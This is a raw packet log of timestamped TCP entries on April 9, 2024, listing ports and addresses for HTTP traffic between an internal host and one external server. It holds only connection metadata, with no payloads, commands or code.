Apr 9, 2024 14:54:07.514569044 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.514601946 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.514652014 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.514763117 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.514887094 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.514919996 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.514976978 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.515008926 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.515137911 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.515181065 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.515213013 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.515245914 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.515317917 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.515353918 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.515384912 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.515651941 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.515685081 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.515717030 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.515748978 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.516012907 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.516113043 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.516145945 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.522486925 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.522766113 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.522799015 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.522830009 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.532819986 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.532882929 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.549297094 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.553052902 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.557979107 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.571316004 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.575589895 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.576124907 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.576124907 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.576124907 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.576124907 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.576198101 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.576198101 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.577496052 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.577608109 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.577608109 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.578504086 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.578669071 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.579891920 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.581839085 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.581880093 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.582571030 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.584044933 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.585700989 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.585753918 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.585890055 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.586415052 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.586457014 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.586505890 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.586637020 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.586927891 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.587187052 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.587846994 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.587881088 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.587912083 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.588017941 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.588052988 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.588182926 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.588300943 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.593602896 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.735075951 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.753137112 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.753175974 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.753211021 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.753323078 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.753356934 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.754184008 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.754184961 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.754184961 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.754184961 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.754265070 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.754300117 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.755345106 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.758495092 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.762490988 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.763184071 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.770312071 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.770365953 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.931391001 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.931440115 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.931499958 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.931925058 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.947320938 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.947361946 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:08.110969067 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.111079931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.111154079 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.111154079 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.111191988 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.111191988 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.111208916 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.111208916 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.111252069 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.111252069 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.111287117 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.111287117 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.111327887 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.111327887 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.111363888 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.111363888 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.111402988 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.111402988 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.111728907 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.111728907 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.111788034 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.111788034 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.111851931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.111851931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.112122059 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.112122059 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.112122059 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.112178087 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.112178087 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.112237930 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.112237930 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.112297058 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.112329960 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.112329960 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.112564087 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.155240059 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.155407906 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.155407906 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.155561924 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.155561924 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.155606031 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.155606031 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.155684948 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.155684948 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.155781031 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.155811071 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.155811071 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.155868053 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.155868053 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.155904055 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.155904055 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.155960083 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.155960083 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.155997992 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.155998945 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156044960 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156044960 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156086922 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156086922 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156131029 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156131029 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156166077 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156166077 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156208992 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156208992 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156244040 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156244040 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156290054 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156290054 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156331062 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156331062 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156374931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156374931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156414986 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156414986 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156456947 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156456947 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156493902 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156493902 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156536102 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156536102 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156573057 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156573057 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156618118 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156618118 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156658888 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156658888 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156702042 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156702042 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156738043 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156738043 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156789064 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156789064 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156842947 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156842947 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156868935 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156868935 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156920910 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156920910 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156971931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.156971931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157011032 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157011032 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157056093 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157056093 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157100916 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157100916 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157146931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157146931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157186031 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157186031 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157234907 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157234907 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157280922 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157280922 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157322884 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157322884 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157355070 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157355070 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157454967 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157454967 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157601118 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157677889 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157716036 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157716036 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157759905 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157759905 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157799959 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157799959 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157851934 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157851934 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157885075 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157885075 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157933950 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157933950 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157974005 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.157974005 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158014059 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158014059 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158076048 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158154011 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158191919 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158191919 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158240080 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158240080 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158279896 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158279896 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158329964 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158329964 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158375025 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158375025 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158411980 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158411980 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158449888 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158449888 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158492088 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158492088 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158529997 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158529997 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158575058 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158575058 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158633947 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158633947 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158684969 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158684969 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158723116 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158723116 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158766985 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158766985 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158804893 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158804893 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158853054 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158853054 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158888102 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158888102 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158934116 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158934116 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158972025 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.158972025 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.159017086 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.159017086 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.159033060 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.159281015 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.159415007 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.159452915 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.159452915 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.159728050 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.159790993 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.159790993 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.159848928 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.159879923 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.159879923 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.161730051 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.161813021 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.161813021 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.161947012 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.161987066 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.161987066 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162051916 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162051916 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162092924 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162092924 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162286997 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162347078 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162347078 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162410021 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162410021 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162448883 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162448883 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162508011 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162508011 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162547112 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162547112 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162590981 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162590981 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162627935 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162627935 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162676096 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162676096 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162724018 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162724018 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162769079 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162769079 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162832975 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162832975 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162872076 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162872076 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162916899 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162916899 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162956953 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.162956953 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163005114 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163005114 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163048029 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163048029 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163093090 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163093090 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163131952 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163131952 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163176060 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163177013 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163213015 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163213015 CEST	49744	80	192.168.2.4	185.196.8.137
